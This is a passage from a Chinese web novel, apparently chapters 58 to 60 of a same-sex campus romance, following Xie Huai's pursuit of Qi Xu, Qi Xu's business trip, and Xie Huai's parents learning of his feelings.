莫名地又想起那天晚上谢淮抓着他的手摸腹肌,看来谢淮是有点癖好在身上。 他压低声音说:“大庭广众的你能不能收敛点。” 人来人往的,怎么一点都不害臊。 谢淮耸了耸肩:“单独相处就可以为所欲为?” 戚栩哼笑:“你真会做阅读理解。” 谢淮只是勾了勾嘴唇没有说话。 告白一事已经过去两天了,戚栩觉得他和谢淮的相处和以前无异,除了心知肚明的暧昧之外,一切如常。 他也尽量避开这点,但避无可避,不管做什么谢淮都会带着他回到这个的方向,一天好几次让他熟记于心。 谢淮喜欢他。 刚下楼,戚栩被萧洁琪叫住了,他们之前小组作业的组员,昨天课堂他们才汇报完作业,老师给予的评分是全班最高的。 “戚栩。”萧洁琪笑着看着他,两秒后才看向谢淮,“谢淮。” 陈晓华在身后慢悠悠地跟上去:“你们两个的大长腿让我们好追,一眨眼就下楼了。” 戚栩问:“有事?” 萧洁琪把手头的四个小礼袋递给戚栩:“我和晓华周末的时候去小镇玩了,给你们带的小礼物,感谢两位大神带我们拿到这么高的分数。” 没了李彦他们在,这种社交只有戚栩顶上,这个时候的谢淮倒像个木头一样,什么也不说。 戚栩也不好当面拒绝女生的好意,双手接过她递过来的小礼袋,扬起了一个礼貌的笑容,将人情世故展现得淋淋尽致。 “谢谢你们准备的小礼物,别把功劳放在我们身上,你们自己也很厉害,我还说如果没有你们收集这么完善的资料和完美ppt制作,我们也得不到这么高的分数,一组六个谁都不可缺。” 陈晓华听到他这番雨露均沾的话笑道:“戚栩,你怎么不竞选班长,我感觉你非常适合当班长这个职位。” 戚栩觉得自己和班长这个职位犯冲,摆了摆手:“可别,我当不了官,我怕我贪。” 他还是非常有自知之明。 两女生都被戚栩给逗笑了,萧洁琪问他们是不是去图书馆。 戚栩说他们回宿舍。 四人就此别过。 外面下着毛毛细雨,不大,但从教学楼走回宿舍会淋湿。 谢淮带了伞,戚栩把四份礼物抱着胸前,等着谢淮开伞。 谢淮打开伞,戚栩自觉地走到他的身边,两人步伐一致走到外面。 两个一米八几的男生撑一把伞,说勉强不为过。 回到宿舍戚栩发现谢淮的另一侧肩膀都蒙了一片水雾,好在外套的衣料防水。 戚栩放下手里的礼物,出于人道主义的关怀:“你头发都飘了一层水珠,赶紧擦干吧,不然感冒了。” 身后没了动静,戚栩转身去看,人不知道什么时候站在了他身后,手上还拿着一块手帕,是他常用的那块。 戚栩愣了愣:“干嘛?要我帮你擦?” “我没说。”谢淮走近了一步,“既然你这么说了,还真有点想。” 戚栩:“……” “你别得寸进尺,你那两只手用来干嘛?” 外面阴天,宿舍的光线昏暗,也没开灯,谢淮地眼神直白地看着戚栩,后者精准地从中抓住那一股笑意。 “淮哥,说真的,你怎么知道自己喜欢男的?”戚栩先是败下阵询问。 谢淮认真地回答这个问题,眼神扫过戚栩的脸,一寸寸的描摹:“不知道,但我知道我喜欢你。” 戚栩这会儿捉字句:“你其实不确定自己的性取向是吧。” 他学着沈老爷子的话说:“要不帮你请个老师,开导开导?” 谢淮觉得好笑,手撑在了旁边的爬梯上,更逼近戚栩,直视:“你才是需要被开导的那个,戚栩,上辈子你的情丝被谁抽了。” 戚栩被抵得靠不住,索性在桌沿边上半靠半坐了下来,长腿随意踩在地上并在一起,下一秒被谢淮的膝盖轻易分开。 戚栩的手被滴了一滴水珠,是从谢淮头上落下,怪冷的。 他轻叹了一口气,拿过谢淮的手帕,抬手勾住了他的颈脖,一边擦他头上的水珠一边说:“你就当我没长那玩意儿好不好。” 这话挺无情无义的,像极了一个28岁成熟男人劝导一个年纪18的花季少年不要误入歧途。 18岁的谢淮虽不比28岁时沉稳,处理事情的方式也没有这么圆滑,但认定了一个人就算撞了南墙也不会回头。 谢淮主动低下头,鼻尖抵着戚栩,淡定地说:“不好。” 少年人就是这么执着,燃烧着那股热情即将烧到戚栩的身上,惹火上身。 戚栩偏开了头,躲开了温热的呼吸:“我没想过在这个阶段谈恋爱,我连自己的未来都没有规划好,你觉得我会考虑感情的问题?” 重生以来,他所做的一切无非为了不重蹈覆辙,避开前世的轨道,嘴上说着为自己活一次,实则他其实有些摆烂。 那种从前世延续下来的心累是还彻底消去,他做不到无视自己的死亡,就好比如创伤应激。 除了不和沈家扯上关系,不参与其中产业斗争,只剩下云瑞,还有老爷子,和谢淮他们成为朋友在他的意料之外,更别说和谢淮发展友情以上的关系。 根本没想过。 从陌生人到朋友已经让他猝不及防。 谢淮没有退却,也没有往后退一步,放轻声音算是安抚:“你可以慢慢考虑,没有时间限制,我已经把你放在我的未来规划里。” 戚栩喉咙有些堵塞,心里像是放了一块沉甸甸的石头,让人无法忽视的重量。 他忽然问:“大学毕业之后你是不是要出国?” 谢淮如实地回答:“有考虑过。” 戚栩却说:“我没有考虑过。” 谢淮轻笑:“害怕我们的感情撑不过异国恋?” 戚栩倒也没有想这么多,被谢淮这么一打断,围绕在两人的沉重淡去了几分。 “我的意思是我们两个人生轨迹不一样,你的志向远不在国内,而我只想在国内做我的网络科技。” 谢淮双手撑在桌面,把戚栩环进怀里:“这不是阻碍,难道你的科技公司不会上市?我相信你的能力,还有我的志向确实不在国内,我的志向在你身上。” 戚栩多少听出了点自己变成误人子弟的那个人,扣住谢淮的下巴认真道:“你别恋爱脑,能不能对你自己负责,你的志向该怎么样怎样,我只是个普通人,别把全部精力放在我身上,别为我而活,为自己而活。” 他就怕谢淮为他耽误了自己,这值当个屁,这人以后是要开创商业帝国,要是堕落了,损失一个商业巨鳄,他怎么负责。 谢淮退开了点:“真够语重心长的,说起来笔记还是我给你抄的,不为你而活,能不能把笔记给我。” 戚栩抿了下嘴:“你这是不让我活,过几天就是期中考了,能不能让我拍个照再拿回去。” 谢淮碾了一下戚栩的耳珠:“活着吧。” 说完转身到开关处开了宿舍的灯。 戚栩下桌,观察了一下谢淮的情绪,发现他好像没什么情绪,正翻开书本复习。 随后戚栩把礼物袋放到每个人的桌上,谢淮也没多看他一眼。 两人互不打扰,相安无事地度过了几个小时的复习时间。 直到李彦和冯振杰拎着打包的晚饭回来,寂静的宿舍才有了那么一丝声音。 “外面冷死了,栩哥,淮哥,你们叫饭了吗?” 刚刚李彦在群里问要不要带饭,戚栩说不用。 戚栩撑着脑袋把手串戴回去:“叫了。” 李恺兴有事找上门,戚栩顺便让他当了回外卖员。 戚栩下楼找李恺兴,上车后两人说了不到五分钟,戚栩就说:“电话说。” 李恺兴无语:“开过来三十分钟,谈个事五分钟都没有就让我走。” 戚栩说:“饭凉了。” 李恺兴从后排把保温袋递给他:“行行行,吃饭最大,对了,你什么时候有空,S市那边我一个人顾不过来。” “期中考结束吧,我再给你个人,真不行我请个假。”现在公司步入正轨,确实缺人手,戚栩想了想是不是该撬人,发挥他重活一世的作用。 李恺兴连忙拒绝:“你可别请假,期中考关键时刻,我和钟艾明最多少睡几个小时。” 戚栩拍了拍他的肩膀:“辛苦了,给你们涨工资。” 李恺兴终于露出了笑容:“有你这句话就行。” 戚栩下车后再回宿舍是五分钟之后,他把一份饭和一盒感冒冲剂放在谢淮的桌上。 李彦刚好吃完饭扔垃圾:“淮哥感冒了吗?” 戚栩回到自己的座位:“他刚淋了点雨,防患于未然。” 谢淮看着那盒感冒冲剂没有说话,揉了揉眉心,这让他如何舍得放手。 第59章 第 59 章 这几天期中考试, 戚栩靠着谢淮的笔记活了过来,他好几年没碰过书,可能还没有适应课堂, 经常分散精神, 好在脑子是好使的。 戚栩在高数方面的能力毋庸置疑,但就是某些理论课,需要死记硬背的,戚栩看一眼打一个哈欠,但对着谢淮的笔记不会, 可能字好看的缘故。 相比于他练过书法的字,硬笔字写得极为随意,有许多连笔字让人无法一眼看懂。 而谢淮的字工整之余还带着点潇洒, 特别是带方框的字,方框有棱有角,里面的字却不羁, 和他本人的性格一样,看着翩翩公子, 实则是黑心的。 考完最后一科,紧绷的线终于得到缓解,学生就是这样, 也不管成绩如何,考完就得放松, 他们已经在讨论周末去哪里玩。 “月末了, 生活费不够用, 我得去兼个职, 不然剩下几天吃西北风。” “去哪里兼职,带我一个。” “奶茶店, 那里最缺手打柠檬的员工,我上次周末干了两天,学习压力都给我锤没了,神清气爽去上课,看老眉头都顺眼多了。” “就上次让我去点单的那家?我点了一杯加波霸,加布丁的奶茶,你给我干成八宝粥,用吸管根本喝不动,得用勺挖。” “那个时候店都快打烊,还有很多小料别浪费,当夜宵嘛。” 不知怎么从玩乐变成兼职话题。 “可以干家教,Q大名号在家教界还挺吃香的,不过就是要当心熊孩子,皮起来根本招架不住。” “我加了个兼职群,里面有很多都是日结,就是有点远,一个来回到手就几十块。” 隔壁宿舍在314聚集,还自觉搬了椅子过来,自带零食茶水,聚成了一个茶话会。 李彦看到原本坐着的戚栩不知为什么从衣柜里拿出一个行李袋开始装衣服。 “栩哥,收拾行李干什么?” 戚栩塞了件衣服进手提包:“去打工。” 众人一脸震惊,对此半信半疑,以戚栩的家世虽然到了月末应该不至于干兼职。 戚栩抬眸对上了他们的眼神,解释:“周末有点事去一趟S市,今晚出发。” 谢淮闻言看向戚栩,后者似乎心虚一躲,他好像忘了告诉谢淮这件事。 原本定下个星期飞S市,谁知李恺兴将行程提前了,时间太赶,戚栩也是刚才看手机通知才知道。 戚栩收拾好行李后谢淮没再看他,但刚刚被看了一眼心里不是滋味,这里人太多,不方便说话,索性带着行李下楼,他一出门,身后也跟着一个人。 李彦看着前后脚离开的两人,拐了一下冯振杰:“没事吧,栩哥要出门好像没告诉淮哥?” 其他宿舍的人不明所以:“能有什么事,你这话说得好像栩哥抛妻弃子一样。” 李彦没告诉他们,这两人一直都很有问题,而且这个问题似乎还并未得到解决。 戚栩听到身后的声音放慢了脚步,转头看人的第一句话先认错:“我二十分钟前才知道周末要去S市,不是冷战躲着你,别多想。” 谢淮淡淡地说:“我又没说什么。” 戚栩听出了谢淮语气的不对,要是没什么也不会跟着他下楼,这是心里不开心,憋着气呢。 他发现自己越来越了解谢淮了,是从心底里了解的那种。 戚栩学着他说话,晃着脑袋:“我又没说什么。” 谢淮扫了他一眼,眼里隐忍和克制着某些情绪。 神情和语气其实一点都不像,他非要问:“我学得像吗?” 谢淮扣着戚栩的手腕一声不吭拐进了宿舍后门的小道上,把人抵在了角落。 像高中时期偷偷到小树林谈恋爱的小情侣。 戚栩毫不意外,甚至嘴里带着笑意任人摆布。 他抬脚踢了踢谢淮的鞋尖:“真生气了?说说生气什么。” 谢淮的气在戚栩学他说话的时候已经消了,这会儿只是问:“去S市是因为工作?” 戚栩和他报备起工作上的事:“有个项目一直谈不下来,我得去看看,顺便看看能不能挖个人。” 谢淮又问:“李恺兴和你一起?” 戚栩点头:“原本定了下个星期,说是合作方下个星期有国外行程,所以这个星期飞过去见一面。” 戚栩对临时出差习以为常,上一世他凡事亲力亲为,一个星期飞好几次都很正常,助理跟着,他也不需要和谁报备。 有一次飞过国外遇到颠簸,头上的呼吸罩都掉下来了,周围都是惊恐的喊声,他的助理一边哭一边哆嗦着写遗书。 戚栩戴着呼吸罩闭着眼睛倚在靠背上,不说慌张是假的,他也很害怕,那种临近死亡终点,在倒数生命感觉无法言喻。 直到身边的助理带着哭音问他:“戚总,你不写点东西吗?” 戚栩睁开眼睛第一时间不是接过他递过来的纸和笔,而是在想,我能写给谁。 那个时候沈老爷子已经去世,他和沈枫凯内斗到白热化阶段,连带着他和沈家夫妇的关系都很僵,以至于他们已经大半年没见过面。 所以到最后他都没有在遗书上写一个字,还好飞机成功降落最近的机场。 大难不死必有后福,他第二天独自一个人飞往目的地的时候拿下项目。 “给我发一下航班号,入住的酒店。”谢淮说。 戚栩笑得轻松:“你这是查岗?” 他忽然觉得重生一次挺好,身边多了很多人,一切都在慢慢变好。 起码到了写遗书的时候也有能写的开头。 谢淮说:“以追求者身份确认你的安全。” 戚栩猝不及防听到这句话“啧”了一声,还真是无时无刻都在提醒他。 “行,等会给你发。” 戚栩也不知道有没有把人哄好,下意识地说:“回来给你带礼物。” 谢淮瞥了他一眼:“这是留我一个人独守空房的补偿?” 油盐不进啊,戚栩哼笑了一声:“这么寂寞需要把徐亦辰叫过来陪你吗。” 徐亦辰肯定会一带二,三只泼猴在家里为所欲为,一个不注意会把家给拆了。 不多时,李恺兴给戚栩打电话说到了。 戚栩刚挂断电话就被谢淮抱住了,他张了张嘴巴没说什么。 两人就这样静静地抱了十几秒,戚栩扯了扯他的衣摆让他松开。 又不是异地恋,用得着这么依依不舍么。 戚栩后知后觉,不是,他们还没恋呢,谢淮这是在占他便宜。 李恺兴看到谢淮的出现,下车熟络地和他说了几句话。 就这么一点时间,李凯兴这个笨蛋就把全部的信息告诉了谢淮,就差把自己的家底说出去。 戚栩上车后降下车窗,谢淮以为他有什么话要说,上前了一步,只听到戚栩说:“记得早上到阳台上香。” 谢淮:“……” 这一刻他觉得自己还没有上香重要。 汽车驶出了宿舍,戚栩没忍住在车上大笑了起来,逗谢淮也太好玩了吧,他刚刚就应该拿手机出来拍下。 正在开车的李恺兴被吓了一跳:“戚少,笑得这么开心捡钱了?” 戚栩说:“没捡钱,捡了个大可爱。” 戚栩给大可爱发了航班和酒店信息,对方没回,可能在计划谋杀他的香炉。 戚栩在晚上七点顺利上飞机,继续给谢淮发了条信息,对方回了一张餐桌照片。 谢淮已经回家了,一个人独守空房中。 第二天一早,谢淮起床到阳台上香,顺手给戚栩发了一张照片,出乎意料这个点戚栩竟然醒了。 谢淮弹了个视频给戚栩,接通的时候画面对着一盏灯,传来一阵阵洗漱声。 “今天起得这么早?” 戚栩刷着牙含糊道:“李恺兴约了早上的时间,说什么早上头脑不清醒适合谈判,他也不想想我们能有多清醒。” 谢淮听着戚栩吐槽了几句后才说:“今天徐家有宴会,晚点要去一趟。” 戚栩举起手机看了一眼谢淮身在阳台:“挺好的,有徐亦辰他们陪着,和他们玩去吧。” 谢淮看着镜头那边戚栩穿着睡袍,敞开的胸膛和露出的锁骨:“不是很好,还是想独守空房。” 戚栩把手机架在桌上,转身去拿挂烫好的西服:“淮哥,你都单了18年还没习惯吗?别这么幽怨行不行,这让我觉得自己是风流过后不负责的渣男。” “你也没负责过。”谢淮只能勉强从画面里看到戚栩的上半身。 戚栩回:“我什么都没做过负什么责?” 谢淮问:“那你想对我做什么?” 得了,话题又走偏了,戚栩都不知道什么时候走偏的。 他凑近手机:“就先这样,我得出门了,你和徐亦辰他们好好玩。” 看到挂断的视频谢淮忍不住遗憾,没看到戚栩换西装的模样。 带着这股遗憾谢淮穿着正装到徐家参加徐亦辰的二叔生日宴会。 徐亦辰的二叔徐少聘生在商业世家,没有继承家业,却成了娱乐圈里一名导演,导出了几部在国际拿奖的电影,在娱乐圈里小有名气,此次45岁生日宴在徐家老宅邀请了好些人。 谢淮到的时候才发现他的父母也来了,昨晚谢耀廷和他说在家陪母亲,让他代表出席。 秦缓思已经有4个月的身孕,她身材苗条,加上穿了外套,如果不细看根本看不出来有孕。 她松开了丈夫的手,挽住了儿子的手,谢淮看了一眼她脚下的平底鞋:“不是说在家休息吗?” 秦缓思化着淡妆,许久未现身公众,圈子里都知道谢家有喜,总是有一部分目光看向她的肚子。 她脸上挂着微笑,轻声说:“我在家呆着都快要发霉了,听说少聘邀请了不少明星,还邀请了我最近喜欢的一位演员,我过来看看。” 谢淮知道他妈在安胎期间喜欢上看电视剧,人到中年也迷上了明星。 许老说已经过了危险期,可以适当出门走动,谢耀廷拗不过妻子,只好带她出门。 谢淮皱眉:“宴会人来人往,少不了碰撞。” 秦缓思听出了儿子的担心,拍了拍他的手道:“我又不是玻璃做,而且有你爸呢。” 谢曜廷跟在他们身后,有熟人叫他都摆手说不方便,不允许妻子离开他的视线之外。 谢曜廷走上来说:“你先坐着,等会我去给你拿签名照。” “哎呦,来都来了,让我看一眼不行。”秦缓思嗔怪了看他,“要不要这么小气。” 谢曜廷板着个脸不说话,几秒后才开口:“我带着你去。” 谢淮把母亲交给他爸,离开前还听到他爸问他妈,是他帅还是我帅。 徐亦辰带着一圈人找上谢淮,第一句就问:“戚栩呢?” 谢淮拿着一杯果汁,垂眸:“出差了。” 徐亦辰比谢淮还遗憾:“我还打算带他去瞅瞅我家酒窖,下次拿酒的时候就有借口了。” 张新平在上次游轮上输了一只手表,笑着说:“你可别把戚栩当借口,上次徐叔叔没发现?” “小声点。”徐亦辰呵斥,“发现不了,我爸这段时间就没进过酒窖,我妈不让他喝酒。” 身边这群人都是上次在游轮上的少爷小姐,在首都的二代圈子里,以谢淮为首的圈子最难进。 有人眼巴巴地看着,也有人忍不住上前攀谈,得到的不过是一句冷淡礼貌的问好。 今晚的谢淮格外冷清,比之前更没人情味,漂亮的世家小姐主动走向他,也不过应付几句后就离开,甚至看着有封心锁爱的意思。 秦缓思和谢曜廷远远地看着这一幕再次想起前段时间谢淮主动和他们说的那一番话。 “我到现在没看到儿子对谁热情过,而且看着兴致不高,也就他们几个小孩和他说得上话,难道说儿子喜欢的人不是这个圈子的?”秦缓思当然不全是为了演员的签名,一直惦记着她儿子说要改变的话,想过来瞧瞧。 谢曜廷哪不知道自己妻子的心思,其实也没这么喜欢那个演员就是。 “最近一直听你唠叨,儿子也说了,到了合适的时候会和我们交代,我们也并非传统家庭,一定要门当户对,能让他跟我们和老爷子说清楚肯定是认真的,那小子像我,用情至深,就想和初恋走一辈子。” 被丈夫一说,秦缓思心里也落实了,什么门户不重要,重要的是儿子喜欢。 徐少聘带着秦缓思喜欢的演员走过来,她的一副心思被转移,和男演员有说有笑,旁边的谢曜廷要笑不笑的,保持着该有的教养。 交谈过后秦缓思心满意足地拿着演员的签名照坐在了花园,她走得有些累休息会,特意让谢曜廷在这段时间和徐家人寒暄。 花园里走进来几个年轻人,秦缓思听到声音本想着离开,但听到他们口中谈论的话题顿了下。 “不是说戚栩和谢淮他们走得很近吗?今晚怎么没见他,我还以为有多大本事,传言说什么第六人,谢淮他们眼界这么高能看得上他?” “现在圈子里谁不知道戚栩同性恋,喜欢玩男人,还在外面包养,谢淮他们怎么可能把这么一个人放在身边的圈子里。” “不是说戚栩喜欢谢淮吗?还用自己的身世让沈叔叔他们怜惜,把沈泽予逼到退学。” 开口说话的那几个人是沈泽予圈子里的,这次徐家设宴,家里人让他过来讨好谢淮一行人,谁知道在谢淮那边吃了闭门羹,人家看都不看他一眼。 他们前几天在沈泽予嘴里听说过他休学的原因,虽然没完全知道原因,但若有所指有关戚栩。 他们这些人不乏想象力,把沈泽予放在了受害者的位置对戚栩进行诋毁。 “那谢淮喜欢他吗?我听说戚栩在学校被骚扰是谢淮一手解决的,这两人该不会有一腿吧。” “不会吧,谢淮也是同性恋?” 一时间烟雾袅袅,秦缓思没有听下去,捂着鼻子离开了花园。 谢曜廷和徐家人告辞后到花园找妻子,谁知看到妻子匆匆从花园出来。他连忙护住了人。 “怎么走得这么急?” 秦缓思的脸色变了变,抓住了丈夫的手:“回家,让谢淮回家。” 谢淮被叫回家的时候正在和李恺兴联系,得知他们成功签了合同正在外面酒局,他麻烦李恺兴看着戚栩,不要让他喝太多酒。 李恺兴很会做人,顺手偷拍了一张戚栩的照片发过去。 照片里的戚栩褪去了那一身休闲服,换上了正装,正在和合作方侃侃而谈,在一众成熟男人中浑身透着从容和自信。 谢淮知道戚栩一直都很优秀,那天听到戚栩说他们两个人生轨迹不一样,他却不认为是阻碍,而是未来各自努力的方向,他们终究会在顶峰相遇。 谢淮得到司机的告知,收起手机跟着他走向父母的车辆。 一上车谢淮就察觉到气氛的怪异,这个时候他还没有多想,以为是父母吵闹,毕竟这两人经常拌嘴,一般都是父亲主动认错。 回到家后,秦缓思开口:“阿淮,到书房,我有事和你说。” 谢淮换了鞋后才到书房,期间他和父亲对视了一眼,后者小声说:“你惹妈妈生气了?” 谢淮反问:“不是你惹她生气了么?” 直到秦缓思问他:“你和沈家那孩子究竟是怎么一回事?” 谢淮扬眉,也没探究谁在他妈面前多嘴。 “不是沈家那孩子,他叫戚栩。” 谢曜廷听得一头雾水,怎么和那孩子有关系了:“怎么无缘无故说起戚栩,他能和阿淮有什么事,不是同学吗?” 谢淮没否认这一层关系:“是同学。” 秦缓思望向他的眼神顿时燃起了希望。 谢淮在那一团希望下,直接用一层像天一样宽阔的黑布蒙上:“同时我正在追求他。” 第60章 第 60 章 秦缓思听到她儿子这么一说反倒松了一口气, 比先前提心吊胆等待凌迟的感觉好太多了。 没有想到的是谢曜廷比她的反应还要大,怔愣一下,宛如没听清, 迟疑地问:“戚栩不是男生吗?” 谢淮点头, 淡定地说:“他是男生,怎么了?” 谢曜廷猛然从椅子上起身,看着谢淮好一会儿都没有出声,半晌后,他闭了闭眼睛重新坐回到椅子上。 说是瘫坐不为过。 谢曜廷深知, 在谢淮身上最后一个谈判是高考志愿,这是他的私心,因为他知道他儿子并不想继承谢氏。 高三那段时间他无意得知谢淮一直都在投资, 投资人工智能,这是谢氏从未接触的领域。 谢淮有谢氏的股份,秦家的产业, 账户上的流动资金将近大八位数,更别说不动产和理财。 谢家夫妇在谢淮15岁之后就没怎么去插手管理谢淮的资产, 全权由他自己分配。 他手上有谢老爷子的人,所以他们不用操心。 直到一份资料错误地递到他手上,他也无意地翻开, 谢淮投资管理的一家人工智能科技公司即将在港岛上市。 谢曜廷心情复杂,有喜有悲, 不愧是他的儿子, 投资的眼光毒辣, 但为什么是人工智能。 过后还是谢淮主动找到他摊牌这件事, 并告知他想报的志愿是计算机。 谢曜廷看着初长成熟的儿子颇有感慨,在不知不觉间原来他的儿子已经长这么大了。 在谢淮小时候他和妻子各自忙于自己的事业, 把刚上小学的儿子交给谢老爷子和秦家两老。 在长辈身边教养,谢淮年少老成,从小在两家获得很大话事权,长辈宠爱之余还亲自辅导,特别是秦家,希望他走入官场。 同时谢老也希望谢淮能继承他的衣钵,儿子已经无法寄予厚望,孙子能如他一次愿。 小小的谢淮身上放置了两个家族重重的期望,他并没有被压得喘不过气,而是在这两座大山中茁壮成长,吸收着大山所给予的一切。 只可惜,谢淮并不如两家的期望,长大后有能力搬起这两座大山,去寻找属于他的山丘,地盘不大,也没有太多资源,但是他是向往的,他可以亲手在上面种上喜欢的植物。 谢曜廷当然不会应允谢淮的计算机自愿这件事,两父子在书房里进行了一场只有两人知道的谈判。 谢曜廷以高中毕业后送谢淮出国为起点,高中没有出成的国,大学补上。 谢淮知道如果他出国了,谢氏在国外的一切事务将会交给他,到时候他并没有多余的精力去管理港岛的公司,二选一,谢淮也知道自己会选择谢氏。 作为让步,谢淮选择在国内上大学报取金融管理的志愿。 国内的事务还是由谢曜廷负责,他并不需要主理,还有多余的精力管理洛滋,四年,足够洛滋稳稳地立足于人工智能行业。 这是谢淮成年后和谢曜廷的第一个谈判,也是最后一个,因为作为父亲的他已经没有资本去和自己的儿子谈判,他的底牌已经被知道。 书房里沉寂了几分钟,谢淮像个无事人一样,亲自为父母倒了两杯温水,谢曜廷身上有酒味,他还特意冲了蜂蜜水。 在此之前,秦缓思给家里的佣人放了大半天的假,连平时服侍在她身边的阿姨也让她回家了。 谢曜廷看着手里那杯蜂蜜水陷入了沉思,这是谢淮第一次给他蜂蜜水,第一次感受到儿子的爱意。 然后他听到儿子说:“蜂蜜酒应该可以解酒,他会在我喝醉的时候冲上一杯。” 也就一次,告白当晚戚栩给谢淮冲了一杯蜂蜜水,希望他清醒一下。 谢曜廷:“……” 他默默地喝了一口,怪不得他儿子变得有爱了,原来有人教他如何去爱。 秦缓思回忆了这段时间她儿子有所改变的种种,亲自做果脯,只因戚栩爱吃,改变自己的口味,只因戚栩喜爱,不惜出动她打大哥的人,只因事关戚栩。 还有很多她不知道的事。 她幽幽地问:“你在追求他,那他知道吗?还是说你在单方面追求,而他根本不知道你喜欢他。” 其实秦缓思更害怕以他儿子偏执的性格会对戚栩做出什么事。 只能说知子莫若母,秦缓思的担心不无道理,在戚栩被高文均骚扰的时候他曾经想过把戚栩藏起来,就关在他的别墅里。 戚栩会闹,没关系,买一箱霞多丽让他抱着睡觉就好。 那些肮脏的东西凭什么去臆想他的人,他不允许戚栩被他以外的人惦记。 他怕吓到戚栩,所以撤回了这个想法,没皮没脸地跟着他搬进了大平层,还好,戚栩对他的底线好像永无止境。 告白好像给了他心底这些黑暗想法一个名正言顺的机会,戚栩是会纵容他的,咬脖子是试探,他以后还可以做更过分的事。 “我告白了。”谢淮只告诉了他们这件事,后续即将发生的事只能他一个人知道。 喜欢一个人告白是理所应当的事,但听在秦缓思的耳里听出那么一点阴谋论,仿佛在筹划着什么。 秦缓思又问:“你确定是告白而不是威胁?” 如果咬人算是威胁的话,不,顶多算是警告,警告戚栩不能忘了这件事,警告他如果不听话的话,就不只是咬脖子这么简单。 谢淮把腿放下来,笑了笑:“是告白。” 秦缓思已经不想追究她儿子为什么喜欢男人这件事,她更担心如果戚栩不接受他儿子,他儿子会做出什么事。 很明显,现在戚栩还没有接受他儿子的追求,也不知道会不会接受。 有关戚栩的谣言秦缓思一个都不相信,能让谢淮喜欢上的人身上必定有吸引他的地方。 她曾经在谢淮说改变过后了解过戚栩,当时连她自己都不知道为什么这么做,现在看来是直觉。 那个孩子的成长环境可谓说自生自灭,养父的不作为,自己打工养活自己,从这样的环境出来必定有很强的自尊心,加上身世的巨变,放在一个成熟人身上都难以接受,何况那孩子只有18岁。 让人不免生出点怜惜,但她从未听说过戚栩利用自己的身世去做什么过分的事,她更相信老爷子所说的那孩子通透。 继而她又听说谢淮让她的大哥出手掩盖戚栩有关的报道,她只是意外,原来她儿子这么早就喜欢上了吗。 这是她儿子除了喜欢铁皮人之外第一次喜欢的人。 秦缓思问:“戚栩也喜欢男人吗?” 戚栩现在应该还是性取向障碍,除了钱什么都不喜欢,目前谢淮在他心里也比不上钱。 谢淮笃定地说:“他会喜欢我。” 谢曜廷终于意识到妻子为什么要和儿子谈论这个话题,后知后觉他儿子并不是什么善茬。 直至最后只是说了一句:“这件事暂时不要让你爷爷知道。” 谢老没有他们夫妻两的大心脏,谢曜廷在谢淮走后才吃了速效救心丸,不吃的话他觉得有些撑不住了。 秦缓思和谢曜廷无言地对视,前者沉沉地说:“高考之前你和儿子在书房里说了什么?” 秦缓思只知道丈夫今晚的态度很奇怪,平时他们在谢淮面前说得上几句话,但对方不一样听,但丈夫今晚还真是只说几句话。 谢曜廷犹豫了几秒后把事情的缘由全部告知,然后迎面而来一个靠枕直击脸上。 他连忙放下抱枕走到妻子身边安抚:“别生气别生气,我错了我错了。” 秦缓思立即红了眼眶瞪着他:“你明知道他喜欢人工智能,他这么多年就捣鼓这些,你当爸爸的怎么这么狠心。” 谢曜廷也自知理亏,轻拍着妻子的背喃喃:“所以我这一次没有开口阻止,他喜欢的,那就让他喜欢。” 书房里的两杯热水已经降下温度。犹如那两颗不知道如何面对儿子的心,忐忑不安。 谢淮没有留宿谢家,回到了戚栩的大平层。 他坐在了戚栩平时喜欢窝在的沙发角落,用他的同款姿势窝着。 戚栩瘦,他能很好的寻找舒服点,懒散地躺着,而谢淮的骨架比他壮一些,缩起来的时候看着有些憋屈。 谢淮还是放弃了这个姿势,在沙发上平躺。 戚栩喜欢他,这是谢淮知道的。 这段感情并不是他一个人沉沦,是戚栩允许他沉沦的,拥抱在一起的时候他能听到戚栩的胸腔里和他跳得一样快的心脏。 而谢淮也知道自己在戚栩心里是不一样,一开始是纯粹的感情,戚栩是看他的眼神像是一片干净的云湖,没有泥沙混杂。 所以他收起了心底阴暗的想法,变得和戚栩一样纯粹。 至于他什么时候喜欢上戚栩,却无从探究。 谢淮本质上是一个很冷漠的人,在那天晚上给秦靖打电话让他帮忙的时候,可以从秦靖的态度看得出来。 什么世家感情,什么手足之情等等,只要谢淮不愿,什么情都说不动他,理性大于感性的一个人。 但遇到戚栩之后,好像一切都变得不一样。 会好奇他以前的生活,会不自觉地靠近。 在看到他受伤的时候会心惊,在他报复宋若明的时候偷偷上手帮忙。 在宴会上看到他写上偷梁换柱四个字的时候,莫名心痛。 还有很多很多,占有欲和心中悸动在作祟,让他对戚栩感情用事。 戚栩是谢淮的例外,也是唯一。 最后得出一个结论,戚栩这个人无与伦比地吸引着他。 谢淮身上盖着戚栩平时的小毛毯,上面还残留着戚栩淡淡的味道。 但对谢淮来说不够,好想把人抱在怀里。 在谢淮想念的同时,放在桌面的手机响了,显示屏里弹起“戚栩”二字。 似乎在告知他一个事实,不是单相思,而是我在想你,你也在想我。 戚栩今晚没喝多少酒,倒的酒全进李恺兴肚子,特别是那瓶山琦55,他就想尝个鲜,被李恺兴一饮而尽。 威士忌一饮而尽,呛不死他。 饭局结束,他就得到了一个十成熟的醉鬼。 李恺兴的助理是个女生,戚栩也不好让她帮忙,只好一个人把抬回酒店。 从李恺兴房间出来的时候戚栩一身汗,然后回到房间一边脱衣服一边给谢淮打电话,罪魁祸首就是这个人。 他从李恺行嘴里听到是谢淮不允许他喝酒,所以就有了李恺兴挡酒这一幕。 李恺兴这酒量还不如他呢,还挡酒。 电话接通的那一秒,他话到嘴边转了话题:“淮哥,回家了吗?” 谢淮那边沉默了好一会儿,久到戚栩拿起手机看了一眼,确认电话是否被挂断。 终于电话那头传来窸窸窣窣地声音,谢淮说:“你什么时候回家?” 戚栩仅凭一句话察觉到谢淮的心情不佳,在想今天的宴会发生了什么事。 “明天下……中午12点的飞机,怎么了,想我了?” 戚栩重新开回以前脱口而出玩笑话的状态,不再被谢淮对他的感情所左右。 他发现不在谢淮身边,更容易对此放下戒备心,谢淮的声音很有欺骗性。 谢淮阴郁的情绪在听到戚栩声音的那一秒一扫而空,轻笑:“想了,很想,我觉得我们好像不能熬过异国恋。” 戚栩:“……” 他抿了抿嘴:“要不要这么黏糊,我们只是一天没见。” “嗯,我恋爱脑。”谢淮用戚栩的话形容自己。 真烦人,戚栩心想,弄得他好像也有点想了。 